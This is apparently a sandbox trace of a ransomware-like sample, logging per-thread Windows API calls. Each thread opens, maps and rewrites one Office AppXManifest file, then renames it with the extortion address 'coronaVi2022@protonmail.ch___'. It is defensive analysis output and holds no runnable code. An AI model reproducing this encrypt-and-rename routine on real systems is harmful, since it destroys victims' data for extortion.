	[0088.256] _swprintf (in: param_1=0x3389f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___AppXManifest.90160000-00BA-0000-1000-0000000FF1CE.xml") returned 133
	[0088.256] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00ba-0000-1000-0000000ff1ce.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___AppXManifest.90160000-00BA-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\coronavi2022@protonmail.ch___appxmanifest.90160000-00ba-0000-1000-0000000ff1ce.xml")) returned 1
	[0088.258] free (_Block=0x2fc5a30) 
	[0088.258] RtlExitUserThread (Status=0x0) 

Thread:
	id = 285
	os_tid = 0x14f8

	[0088.260] _alloca_probe () returned 0x40328a
	[0088.261] GetCurrentThreadId () returned 0x14f8
	[0088.261] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0409-1000-0000000FF1CE.xml", dwFileAttributes=0x80) returned 1
	[0088.261] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00ba-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x72c
	[0088.261] GetFileSizeEx (in: hFile=0x72c, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=1261) returned 1
	[0088.261] CreateFileMappingA (hFile=0x72c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x4f9, lpName=0x0) returned 0x730
	[0088.261] MapViewOfFile (hFileMappingObject=0x730, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2320000
	[0088.262] UnmapViewOfFile (lpBaseAddress=0x2320000) returned 1
	[0088.263] CloseHandle (hObject=0x730) returned 1
	[0088.263] GetCurrentThreadId () returned 0x14f8
	[0088.263] FlushFileBuffers (hFile=0x72c) returned 1
	[0088.267] CloseHandle (hObject=0x72c) returned 1
	[0088.269] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___AppXManifest.90160000-00BA-0409-1000-0000000FF1CE.xml") returned 133
	[0088.269] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00ba-0409-1000-0000000ff1ce.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___AppXManifest.90160000-00BA-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\coronavi2022@protonmail.ch___appxmanifest.90160000-00ba-0409-1000-0000000ff1ce.xml")) returned 1
	[0088.270] free (_Block=0x2fc0a08) 
	[0088.270] RtlExitUserThread (Status=0x0) 

Thread:
	id = 286
	os_tid = 0x14fc

	[0088.265] _alloca_probe () returned 0x40328a
	[0088.266] GetCurrentThreadId () returned 0x14fc
	[0088.266] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0000-1000-0000000FF1CE.xml", dwFileAttributes=0x80) returned 1
	[0088.266] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00c1-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x734
	[0088.266] GetFileSizeEx (in: hFile=0x734, lpFileSize=0x338ff5c | out: lpFileSize=0x338ff5c*=399528) returned 1
	[0088.266] CreateFileMappingA (hFile=0x734, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x618af, lpName=0x0) returned 0x738
	[0088.267] MapViewOfFile (hFileMappingObject=0x738, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x23a0000
	[0088.340] UnmapViewOfFile (lpBaseAddress=0x23a0000) returned 1
	[0088.344] CloseHandle (hObject=0x738) returned 1
	[0088.344] GetCurrentThreadId () returned 0x14fc
	[0088.344] FlushFileBuffers (hFile=0x734) returned 1
	[0088.350] CloseHandle (hObject=0x734) returned 1
	[0088.361] _swprintf (in: param_1=0x3389f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___AppXManifest.90160000-00C1-0000-1000-0000000FF1CE.xml") returned 133
	[0088.361] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00c1-0000-1000-0000000ff1ce.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___AppXManifest.90160000-00C1-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\coronavi2022@protonmail.ch___appxmanifest.90160000-00c1-0000-1000-0000000ff1ce.xml")) returned 1
	[0088.362] free (_Block=0x2fc1a10) 
	[0088.362] RtlExitUserThread (Status=0x0) 

Thread:
	id = 287
	os_tid = 0x1500

	[0088.346] _alloca_probe () returned 0x40328a
	[0088.347] GetCurrentThreadId () returned 0x1500
	[0088.347] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0409-1000-0000000FF1CE.xml", dwFileAttributes=0x80) returned 1
	[0088.347] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00c1-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x738
	[0088.348] GetFileSizeEx (in: hFile=0x738, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=1261) returned 1
	[0088.348] CreateFileMappingA (hFile=0x738, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x4f9, lpName=0x0) returned 0x73c
	[0088.348] MapViewOfFile (hFileMappingObject=0x73c, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x23a0000
	[0088.349] UnmapViewOfFile (lpBaseAddress=0x23a0000) returned 1
	[0088.349] CloseHandle (hObject=0x73c) returned 1
	[0088.349] GetCurrentThreadId () returned 0x1500
	[0088.349] FlushFileBuffers (hFile=0x738) returned 1
	[0088.364] CloseHandle (hObject=0x738) returned 1
	[0088.365] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___AppXManifest.90160000-00C1-0409-1000-0000000FF1CE.xml") returned 133
	[0088.365] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00c1-0409-1000-0000000ff1ce.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___AppXManifest.90160000-00C1-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\coronavi2022@protonmail.ch___appxmanifest.90160000-00c1-0409-1000-0000000ff1ce.xml")) returned 1
	[0088.366] free (_Block=0x2fc0a08) 
	[0088.366] RtlExitUserThread (Status=0x0) 

Thread:
	id = 288
	os_tid = 0x1504

	[0088.369] _alloca_probe () returned 0x40328a
	[0088.369] GetCurrentThreadId () returned 0x1504
	[0088.369] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0000-1000-0000000FF1CE.xml", dwFileAttributes=0x80) returned 1
	[0088.370] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e1-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x734
	[0088.370] GetFileSizeEx (in: hFile=0x734, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=1450) returned 1
	[0088.370] CreateFileMappingA (hFile=0x734, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x5b3, lpName=0x0) returned 0x73c
	[0088.370] MapViewOfFile (hFileMappingObject=0x73c, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2320000
	[0088.371] UnmapViewOfFile (lpBaseAddress=0x2320000) returned 1
	[0088.371] CloseHandle (hObject=0x73c) returned 1
	[0088.371] GetCurrentThreadId () returned 0x1504
	[0088.371] FlushFileBuffers (hFile=0x734) returned 1
	[0088.373] CloseHandle (hObject=0x734) returned 1
	[0088.375] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___AppXManifest.90160000-00E1-0000-1000-0000000FF1CE.xml") returned 133
	[0088.375] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e1-0000-1000-0000000ff1ce.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___AppXManifest.90160000-00E1-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\coronavi2022@protonmail.ch___appxmanifest.90160000-00e1-0000-1000-0000000ff1ce.xml")) returned 1
	[0088.376] free (_Block=0x2fc0a08) 
	[0088.376] RtlExitUserThread (Status=0x0) 

Thread:
	id = 289
	os_tid = 0x1508

	[0088.377] _alloca_probe () returned 0x40328a
	[0088.377] GetCurrentThreadId () returned 0x1508
	[0088.377] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0409-1000-0000000FF1CE.xml", dwFileAttributes=0x80) returned 1
	[0088.378] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e1-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x734
	[0088.378] GetFileSizeEx (in: hFile=0x734, lpFileSize=0x338ff5c | out: lpFileSize=0x338ff5c*=1261) returned 1
	[0088.378] CreateFileMappingA (hFile=0x734, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x4f9, lpName=0x0) returned 0x740
	[0088.378] MapViewOfFile (hFileMappingObject=0x740, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x460000
	[0088.379] UnmapViewOfFile (lpBaseAddress=0x460000) returned 1
	[0088.379] CloseHandle (hObject=0x740) returned 1
	[0088.379] GetCurrentThreadId () returned 0x1508
	[0088.379] FlushFileBuffers (hFile=0x734) returned 1
	[0088.382] CloseHandle (hObject=0x734) returned 1
	[0088.383] _swprintf (in: param_1=0x3389f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___AppXManifest.90160000-00E1-0409-1000-0000000FF1CE.xml") returned 133
	[0088.383] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e1-0409-1000-0000000ff1ce.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___AppXManifest.90160000-00E1-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\coronavi2022@protonmail.ch___appxmanifest.90160000-00e1-0409-1000-0000000ff1ce.xml")) returned 1
	[0088.384] free (_Block=0x2fc1a10) 
	[0088.384] RtlExitUserThread (Status=0x0) 

Thread:
	id = 290
	os_tid = 0x150c

	[0088.386] _alloca_probe () returned 0x40328a
	[0088.386] GetCurrentThreadId () returned 0x150c
	[0088.386] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0000-1000-0000000FF1CE.xml", dwFileAttributes=0x80) returned 1
	[0088.387] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e2-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x740
	[0088.387] GetFileSizeEx (in: hFile=0x740, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=3754) returned 1
	[0088.387] CreateFileMappingA (hFile=0x740, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xeb3, lpName=0x0) returned 0x744
	[0088.387] MapViewOfFile (hFileMappingObject=0x744, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2320000
	[0088.388] UnmapViewOfFile (lpBaseAddress=0x2320000) returned 1
	[0088.388] CloseHandle (hObject=0x744) returned 1
	[0088.388] GetCurrentThreadId () returned 0x150c
	[0088.389] FlushFileBuffers (hFile=0x740) returned 1
	[0088.393] CloseHandle (hObject=0x740) returned 1
	[0088.395] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___AppXManifest.90160000-00E2-0000-1000-0000000FF1CE.xml") returned 133
	[0088.395] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e2-0000-1000-0000000ff1ce.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___AppXManifest.90160000-00E2-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\coronavi2022@protonmail.ch___appxmanifest.90160000-00e2-0000-1000-0000000ff1ce.xml")) returned 1
	[0088.395] free (_Block=0x2fc0a08) 
	[0088.395] RtlExitUserThread (Status=0x0) 

Thread:
	id = 291
	os_tid = 0x1510

	[0088.397] _alloca_probe () returned 0x40328a
	[0088.397] GetCurrentThreadId () returned 0x1510
	[0088.397] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0409-1000-0000000FF1CE.xml", dwFileAttributes=0x80) returned 1
	[0088.398] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e2-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x744
	[0088.398] GetFileSizeEx (in: hFile=0x744, lpFileSize=0x338ff5c | out: lpFileSize=0x338ff5c*=1261) returned 1
	[0088.398] CreateFileMappingA (hFile=0x744, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x4f9, lpName=0x0) returned 0x748
	[0088.398] MapViewOfFile (hFileMappingObject=0x748, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x460000
	[0088.399] UnmapViewOfFile (lpBaseAddress=0x460000) returned 1
	[0088.399] CloseHandle (hObject=0x748) returned 1
	[0088.399] GetCurrentThreadId () returned 0x1510
	[0088.399] FlushFileBuffers (hFile=0x744) returned 1
	[0088.401] CloseHandle (hObject=0x744) returned 1
	[0088.403] _swprintf (in: param_1=0x3389f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___AppXManifest.90160000-00E2-0409-1000-0000000FF1CE.xml") returned 133
	[0088.403] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e2-0409-1000-0000000ff1ce.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___AppXManifest.90160000-00E2-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\coronavi2022@protonmail.ch___appxmanifest.90160000-00e2-0409-1000-0000000ff1ce.xml")) returned 1
	[0088.404] free (_Block=0x2fc1a10) 
	[0088.404] RtlExitUserThread (Status=0x0) 

Thread:
	id = 292
	os_tid = 0x1514

	[0088.405] _alloca_probe () returned 0x40328a
	[0088.406] GetCurrentThreadId () returned 0x1514
	[0088.406] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0115-0409-1000-0000000FF1CE.xml", dwFileAttributes=0x80) returned 1
	[0088.406] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0115-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0115-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x748
	[0088.407] GetFileSizeEx (in: hFile=0x748, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=1261) returned 1
	[0088.407] CreateFileMappingA (hFile=0x748, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x4f9, lpName=0x0) returned 0x74c
	[0088.407] MapViewOfFile (hFileMappingObject=0x74c, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2320000
	[0088.408] UnmapViewOfFile (lpBaseAddress=0x2320000) returned 1
	[0088.408] CloseHandle (hObject=0x74c) returned 1
	[0088.408] GetCurrentThreadId () returned 0x1514
	[0088.408] FlushFileBuffers (hFile=0x748) returned 1
	[0088.410] CloseHandle (hObject=0x748) returned 1
	[0088.412] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___AppXManifest.90160000-0115-0409-1000-0000000FF1CE.xml") returned 133
	[0088.412] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0115-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0115-0409-1000-0000000ff1ce.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___AppXManifest.90160000-0115-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\coronavi2022@protonmail.ch___appxmanifest.90160000-0115-0409-1000-0000000ff1ce.xml")) returned 1
	[0088.412] free (_Block=0x2fc0a08) 
	[0088.412] RtlExitUserThread (Status=0x0) 

Thread:
	id = 293
	os_tid = 0x1518

	[0088.414] _alloca_probe () returned 0x40328a
	[0088.415] GetCurrentThreadId () returned 0x1518
	[0088.415] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0117-0409-1000-0000000FF1CE.xml", dwFileAttributes=0x80) returned 1
	[0088.415] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0117-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0117-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74c
	[0088.416] GetFileSizeEx (in: hFile=0x74c, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=1261) returned 1
	[0088.416] CreateFileMappingA (hFile=0x74c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x4f9, lpName=0x0) returned 0x750
	[0088.416] MapViewOfFile (hFileMappingObject=0x750, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2320000
	[0088.417] UnmapViewOfFile (lpBaseAddress=0x2320000) returned 1
	[0088.417] CloseHandle (hObject=0x750) returned 1
	[0088.417] GetCurrentThreadId () returned 0x1518
	[0088.417] FlushFileBuffers (hFile=0x74c) returned 1
	[0088.419] CloseHandle (hObject=0x74c) returned 1
	[0088.421] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___AppXManifest.90160000-0117-0409-1000-0000000FF1CE.xml") returned 133
	[0088.421] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0117-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0117-0409-1000-0000000ff1ce.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___AppXManifest.90160000-0117-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\coronavi2022@protonmail.ch___appxmanifest.90160000-0117-0409-1000-0000000ff1ce.xml")) returned 1
	[0088.421] free (_Block=0x2fc0a08) 
	[0088.421] RtlExitUserThread (Status=0x0) 

Thread:
	id = 294
	os_tid = 0x151c

	[0088.423] _alloca_probe () returned 0x40328a
	[0088.424] GetCurrentThreadId () returned 0x151c
	[0088.424] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012A-0000-1000-0000000FF1CE.xml", dwFileAttributes=0x80) returned 1
	[0088.424] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012A-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-012a-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x750
	[0088.424] GetFileSizeEx (in: hFile=0x750, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=527958) returned 1
	[0088.424] CreateFileMappingA (hFile=0x750, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x80e5b, lpName=0x0) returned 0x754
	[0088.424] MapViewOfFile (hFileMappingObject=0x754, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x3290000
	[0088.566] UnmapViewOfFile (lpBaseAddress=0x3290000) returned 1
	[0088.571] CloseHandle (hObject=0x754) returned 1
	[0088.571] GetCurrentThreadId () returned 0x151c
	[0088.571] FlushFileBuffers (hFile=0x750) returned 1
	[0088.963] CloseHandle (hObject=0x750) returned 1
	[0088.975] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___AppXManifest.90160000-012A-0000-1000-0000000FF1CE.xml") returned 133
	[0088.975] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012A-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-012a-0000-1000-0000000ff1ce.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___AppXManifest.90160000-012A-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\coronavi2022@protonmail.ch___appxmanifest.90160000-012a-0000-1000-0000000ff1ce.xml")) returned 1
	[0088.976] free (_Block=0x2fc0a08) 
	[0088.976] RtlExitUserThread (Status=0x0) 

Thread:
	id = 295
	os_tid = 0x1520

	[0088.603] _alloca_probe () returned 0x40328a
	[0088.604] GetCurrentThreadId () returned 0x1520
	[0088.604] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012B-0409-1000-0000000FF1CE.xml", dwFileAttributes=0x80) returned 1
	[0088.605] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012B-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-012b-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x758
	[0088.605] GetFileSizeEx (in: hFile=0x758, lpFileSize=0x358ff5c | out: lpFileSize=0x358ff5c*=1261) returned 1
	[0088.605] CreateFileMappingA (hFile=0x758, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x4f9, lpName=0x0) returned 0x75c
	[0088.605] MapViewOfFile (hFileMappingObject=0x75c, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x23a0000
	[0088.612] UnmapViewOfFile (lpBaseAddress=0x23a0000) returned 1
	[0088.612] CloseHandle (hObject=0x75c) returned 1
	[0088.612] GetCurrentThreadId () returned 0x1520
	[0088.612] FlushFileBuffers (hFile=0x758) returned 1
	[0088.888] CloseHandle (hObject=0x758) returned 1
	[0088.890] _swprintf (in: param_1=0x3589f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___AppXManifest.90160000-012B-0409-1000-0000000FF1CE.xml") returned 133
	[0088.890] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012B-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-012b-0409-1000-0000000ff1ce.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___AppXManifest.90160000-012B-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\coronavi2022@protonmail.ch___appxmanifest.90160000-012b-0409-1000-0000000ff1ce.xml")) returned 1
	[0088.891] free (_Block=0x2fc1a10) 
	[0088.891] RtlExitUserThread (Status=0x0) 

Thread:
	id = 296
